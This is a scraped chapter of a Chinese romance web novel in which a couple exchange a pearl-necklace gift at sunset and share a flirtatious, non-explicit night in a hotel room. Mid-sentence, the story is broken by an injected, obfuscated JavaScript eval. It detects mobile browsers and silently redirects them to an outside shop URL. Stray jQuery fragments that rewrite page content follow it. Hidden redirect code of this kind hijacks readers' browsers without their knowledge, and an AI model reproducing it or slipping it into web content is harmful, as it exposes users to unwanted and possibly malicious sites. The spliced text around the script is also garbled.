文趣网 > 其他小说 > 你的名字我的过往 > 32. 第32章
    直到四人吃完饭,时见鹿的耳尖还是红得能滴出血。

    想到她行李箱里,还有自己精心准备的蕾丝睡衣,她就想找地洞钻进去。

    明明自己都准备好了,可是真的看到林北深眼底的欲望时,她又好怂好怂。

    欲望像凶猛洪兽,让人望而生怯,果真如此。

    四人吃完饭,就去了趟疗养院,跟时老爷子几个老伙伴聊了一会儿后,他们接上小黎一起回了民宿。

    傍晚时分,几人又一起来到了海边散步。

    小黎他们三人走在前边,林北深和时见鹿跟在后面。

    时见鹿有意无意地,跟林北深保持了些距离。

    林北深似乎也没有刻意靠近,不近不远地跟她并排走着。

    这里是静谧的海边小镇,周末人才多起来。

    此刻已经接近傍晚,天边的落日照着人影修长。

    见小黎他们在另一头踩水玩的开心,时见鹿找了沙滩的位置坐了下来。

    她想要静静地,看着太阳消失在海平面。

    见她坐下,林北深没有急着过去,而是去了离她不远处的沙滩蹲了下来。

    时见鹿看了他一眼,他似乎在挖沙。

    她没太在意,继续欣赏着天边橙红的美景。

    约莫几分钟后,林北深朝这边走了过来。

    他坐在时见鹿身边,也跟着她一起看着天边景色。

    “夕阳无限好,只是近黄昏。”

    时见鹿盯着天边感叹:“人总是在一天终结的时候,报有遗憾。”

    林北深若有所思。

    半晌过后,他开口:“如果日落过后,有礼物收呢?”

    他转过脸来,看着时见鹿:“你会不会对一天的终结,也有所期待?”

    时见鹿也转过脸来,夕阳的余辉映照在林北深的脸上。

    他的头发轮廓,就连瞳孔,也镀上了一层金边。

    好似他映在光里。

    时见鹿怔怔看着他,仿佛此刻才知道,他一直都这么好看。

    “会吗?”林北深又问。

    时见鹿这才恍然反应,点头,眼睛弯成一条线:“当然会。”

    林北深也跟着她,弯起眼睛。

    他向她伸出手,时见鹿也把手交到他手上。

    他们就这么手牵着手,面朝大海,看着夕阳的余辉,精彩纷呈地演绎一生光芒,再一点,一点,从海平面消失。

    等到最后一道光消失后,林北深才转过脸来,对着时见鹿。

    “所以现在是拆礼物时间了。”

    时见鹿疑惑地看着他,就见他拉着她的手站起身。

    接着,弓腰,前倾,在她手背上落下一吻。

    “公主殿下。”

    时见鹿不明所以,缓缓随着他站起身。

    脑子还没反应过来,不太明白林北深的意图。

    接着就听林北深又说:“我帮你缩小范围,就在我刚才埋沙的地方,找找看。”

    时见鹿懵懵懂懂地,听话地走了过去。

    她在林北深刚才挖沙的地方,蹲了下去,扒开沙子,一个透明的密封袋子出现在她眼前。

    打开袋子,是一个精致的带蝴蝶结的粉色小盒子。

    时见鹿一愣,林北深到底什么时候准备的礼物。

    不容她多想,她拿起来拆开,拿着小盒子站起来转过身看向林北深。

    “你什么时候准备的?”

    她怎么不知道?

    林北深浅笑,“打开看看。”

    时见鹿解开粉色蝴蝶结,打开小盒子,映入眼帘的是一条项链。

    金色的项链中间,是一颗晶莹剔透的珍珠。

    项链很细,做工却很精巧,珍珠也是小巧别致型,看的出来是精心挑选形状完美的天然珍珠,适合每天的通勤着装。

    时见鹿对着天边仅有的光亮,盯着项链看,越看越爱不释手。

    “我帮你带上。”

    林北深说着,走到她身后,轻轻帮她把长发别到一边,露出雪白的脖子。

    他打开项链扣,轻轻帮她把项链带在脖子上。

    温柔的海风,拂过时见鹿的长发,有几缕随着风起舞。

    长发也被镀上了金色,有几根发丝随着林北深的手背,像蔓藤般,环绕,痴绵。

    项链的大小刚好到时见鹿的锁骨,项链在金黄的余光下熠熠生辉。

    就连林北深眼中的时见鹿也一样,海风吹动着她的发丝,也波动着他的心弦。

    “时见鹿。”

    他看着她,久久地注视着她。

    时见鹿脸上还带着惊喜和幸福的微笑,她确确实实地沉浸在幸福里。

    “谢谢你林北深,这个礼物我很喜欢。”

    她笑的两眼弯弯。

    林北深轻轻抚摸她的发顶,把她带进自己怀里。

    他的声音低低地,带着温柔的眷恋。

    “我希望你每天,都能像今天,幸福开心,快乐下去。”

    时见鹿靠在他胸膛,用力点头:“有你在,我每天都很快乐。”

    林北深闻言没说话,半晌过后,他的声音从发顶传来。

    “答应我。”

    他说:“即使没有我,你也要幸福快乐。”

    时见鹿闻言抬起头,倔强看向他。

    “没有你我才不会幸福,才不会快乐。”

    林北深长久地凝视着她,“可是总会有我不在你身边的时候,不是吗?”

    时见鹿想了想:“你不在我身边的时候,我会想你呀。”

    “我可以去找你呀。”

    林北深没说话,眸中漆黑一片。

    “我要你答应我,即使不去找我,让时间渡你,你也终将自由。”

    时见鹿有片刻愣神。

    林北深的眸中满是认真,不知道他今天怎么了,所以她只能冲他笑。

    可见她不说话,林北深又追问:“答应我,好吗?”

    有点不答应不罢休的架势。

    时见鹿只好投降:“好啦,我答应你就是啦。”

    “即使你不在我身边,我也会幸福快乐!”

    “好吗?”

    林北深这才露出笑意,刮了刮时见鹿的鼻头。

    “一言为定?”

    “一言为定!”

    “不食言?”

    “绝不!”

    “好。”

    林北深伸出小手指:“和上次一样,拉钩?”

    “没问题!”

    时见鹿也伸出手,两人拉钩,盖章。

    做完这些后,林北深才笑的灿烂。

    他说:“走吧。小黎他们在等我们。”

    时见鹿刚还在想,他们两人可以多点时间说说话,林北深就这么不解风情,不免有些失落。

    “哼。”

    时见鹿从鼻子里哼气,才说:“走就走。”

    几人散了会儿步,就又一起去了疗养院。

    时老爷子精神还不错,正跟几个老伙伴聊天聊的起劲儿,看见小黎跑了过去,一把搂住小黎在自己轮椅跟前,对着老伙伴们介绍小黎。

    其他人,他连眼光都没投过去。

    时见鹿见状,嘟嘴对着时老爷子。

    “爷爷,你是有了小黎,就忘了您孙女啦?”

    时老爷子这才抬头看了他们一眼,敷衍地对着老伙伴们。

    “哦,这是我孙女时见鹿。”

    时见鹿闭了闭眼:“有您这么敷衍的嘛!”

    时老爷子摆摆手:“你们一边玩儿去,我们和小黎说说话。”

    其他几个老伙伴讪讪地对着时见鹿他们笑。

    小黎闻言,认真点头:“嗯,好,我们是得好好说说。”

    他说完,小大人似的对着吴悦欣和孟野。

    “妈妈,哥哥,你们一边玩儿去,我和爷爷有话要说。”

    他说着,一边拿手挡住半边嘴,一边轻轻地对着他们说:“你们放心,我会好好叮嘱爷爷,好好休息,好好吃药。”

    时老爷子挑了挑眉:“小子,我都听到了。”

    “你到底跟谁一伙儿?”

    小黎连忙捂住嘴,又打开几个小手指。

    “我当然跟你一伙儿啊,爷爷!”

    他说完,却对着吴悦欣他们眨了眨眼。

    几人相视而笑。

    就这样,小黎在几个老人面前又唱又跳,差不多到了晚上疗养院睡觉时间才散。

    小黎意犹未尽,回到酒店房间又在吴欣悦房间和时见鹿他们房间,自由切换。

    终于折腾到了大半夜,小黎总算熟睡了过去。

    时见鹿和林北深这才告别吴欣悦和孟野,回到自己房间。

    关上门,世界似乎一下子安静了下来。

    时见鹿拿了洗漱用品,逃也似的进了浴室。

    在浴室里洗漱好,穿上早就准备好的蕾丝吊带睡衣,她在镜子面前,观看了许久。

    似乎还是下不定决心,脸红的发烫。

    她又把浴衣穿在外面,这才满意地打开门,走了出去。

    林北深半靠着落地窗前的沙发,正拿着一本书在看。

    见她出来,他看了她一眼。

    不一会儿,他放下手里的书,走了过来。

    林北深从箱子里拿出吹风机,对着她说:“过来。”

    时见鹿有些心虚,用手悄悄把浴袍领口裹紧了些,这才走过去。

    林北深看着她的发顶,示意:“低头。”

    时见鹿正在心里打着小算盘,以为被林北深看穿,连忙摆手:“不,不要这么直接……”

    话还未落,林北深就插了电,打开吹风机。

    “……”

    吹风机的轰鸣,打断了她的话,林北深就着噪音问:“什么?”

    时见鹿明白自己想歪,连忙摇头:“没什么。”

    耳尖却红的飞快。

    林北深扫了一眼她的脖颈,余光扫到耳后根。

    他不动声色地弯了一下唇。

    林北深动作轻柔,像微风拂过水面,像甘露久后春雨。

    细细绵绵拨动发丝的动作,也拨动着时见鹿的心尖。

    偶尔有意无意地碰撞,至头皮,至脖颈,都让时见鹿一阵颤栗。

    这种润物细无声的爱抚,太过勾人。

    时见鹿胸口

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17678775|205934||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    起伏,趁着他换挡的间隙抬眼看了过去。

    林北深刚才在看书,所以眼镜还戴在鼻梁上,整个人看起来高冷禁欲。

    还有他惯有的轻缓动作,眼神专注,深邃的眉弓,让他无论何时,都深情款款。

    她都要溺死在这不动声色的勾引中了。

    “吹好了,你去吧。”

    时见鹿指着卫生间,说完,连忙头也不回地走到衣柜前。

    背对着林北深,假装在拿衣服。

    林北深收好吹风机,转头看了一眼时见鹿。

    接着,他垂下眼睫。

    想起刚才吹头发时的不经意一瞥,嘴角不自觉地轻轻勾起。

    卫生间门关上的那一刻,时见鹿才松了一口气。

    刚刚林北深看她的时候,心脏都快跳出来。

    她生怕他看出她浴袍之下的这点小心思,连忙脱掉浴袍,迅速钻进了被窝,用被子把自己盖的严严实实。

    等了一会儿,林北深还没出来,时见鹿百无聊奈拿起手机。

    她给周宜晴发了个信息过去:【睡了吗?】

    周宜晴秒回:【怎么可能!】

    【你们怎么样啦?今晚第一次跟林医生在一个房间,势必要将他拿下!】

    时见鹿笑了一下:【问你个问题,第一次就穿这么性感,是不是不太好?】

    周宜晴那边回复:【放心吧,林医生绝对会喜欢的,我帮你一起挑的准没错!】

    时见鹿:【你自己都还没男朋友,我怎么这么不信。】

    周宜晴:【你这么紧张,是不是还没准备好啊?姐妹,林医生这么优质的对象,你还犹豫啥啊,上啊!】

    时见鹿:【……】

    周宜晴对话框还在正在输入,卫生间那边传来响动,时见鹿连忙放下手机。

    不一会儿,林北深就从门后走了出来。

    他似乎从头到脚都清洗干净,头发上还沾着水汽,宽大的白色浴袍穿在他身上,像是为他量身定制一般。

    不得不说,林北深的宽肩窄腰此刻看来,就是行走的衣服架子。

    就连浴袍这样的俗物,都能穿成气质绝尘的公子。

    时见鹿刚才太过紧张,以至于整个人都裹进了薄被里,只露出一张脸,紧紧地盯着林北深。

    林北深正在拿毛巾擦头发,他擦头发的时候,手臂举过头顶,稳重又优雅。

    他把头发从前往后拨的时候,胸前的浴袍忽地撑开,露出一截强劲有力的肌肉线条。

    时见鹿咽了咽口水。

    脑子里不听使唤地顿住不动,就连话都忘了说。

    她就这么直直地将目光投向林北深的胸线,赤裸又直接。

    等林北深转过脸的时候,已经来不及。

    她的目光,被林北深全线接收。

    那一瞬间,时见鹿只想找个地缝钻进去。

    好尴尬。他是不是发现她在垂涎他的美色。

    时见鹿连忙把自己的整张脸,也捂进被子里。

    听见他往这边走动的声音,时见鹿紧张地在被子里不敢呼吸。

    下一秒,被子被人从头扯下,映入眼帘的是林北深放大的脸。

    他勾着唇,似笑非笑:“盖那么多,不热吗?”

    时见鹿眨了眨眼,摇头:“热……啊,确实很热。”

    她说着,把被子全部掀开,用手当扇子,掩饰紧张。

    “对,这空调怎么回事,好热好热。”

    林北深看到被子下的时见鹿,刚生出的调侃意味,瞬间荡然无存。

    他的视线扫过时见鹿金色项链的锁骨,再往下,大片的雪白粉红,在深v领下若隐若现。

    接着,他的视线又不自觉地越过她平坦的小腹,挑高的裙尾。

    裙摆被被子带了起来,一大片雪白的大腿肌肤呼之欲出。

    大腿只露出一截,下面是吊带连身丝袜,黑色带子连着若隐若现的大腿根,极具诱惑性。

    一种干涩地,完全陌生的东西,在林北深身体里四窜游走。

    他的喉结滚了滚。

    时见鹿见林北深突然不动了,抬头去看他。

    意识到他的视线范围后,她连忙慌张地拉过床头的枕头。

    “我,我……”

    “这个,这个……其实是我平常的睡衣。”

    “你不要想太多。”

    她想把自己的脸,埋进枕头里的心都有。

    她居然还慌不择言地说,她平常睡衣长这样。

    还好林北深没有过多追究,他缓缓起身,坐了起来。

    接着,他转过脸去,声音却从另一边传来。

    “很好看。”

    他说很好看。

    果然周宜晴说的对,男人在这种事情上的眼光,都出奇的一致。

    正想着,林北深又转了过来。

    他一只手臂撑在她腰侧,炙热的温度,从腰侧那里传来。

    陌生的感觉,让她不知所措。

    时见鹿一动不动地看着他。

    林北深俯身,长睫轻颤,他出声叫她。

    “时见鹿。”

    他说:“你是在勾引我吗?”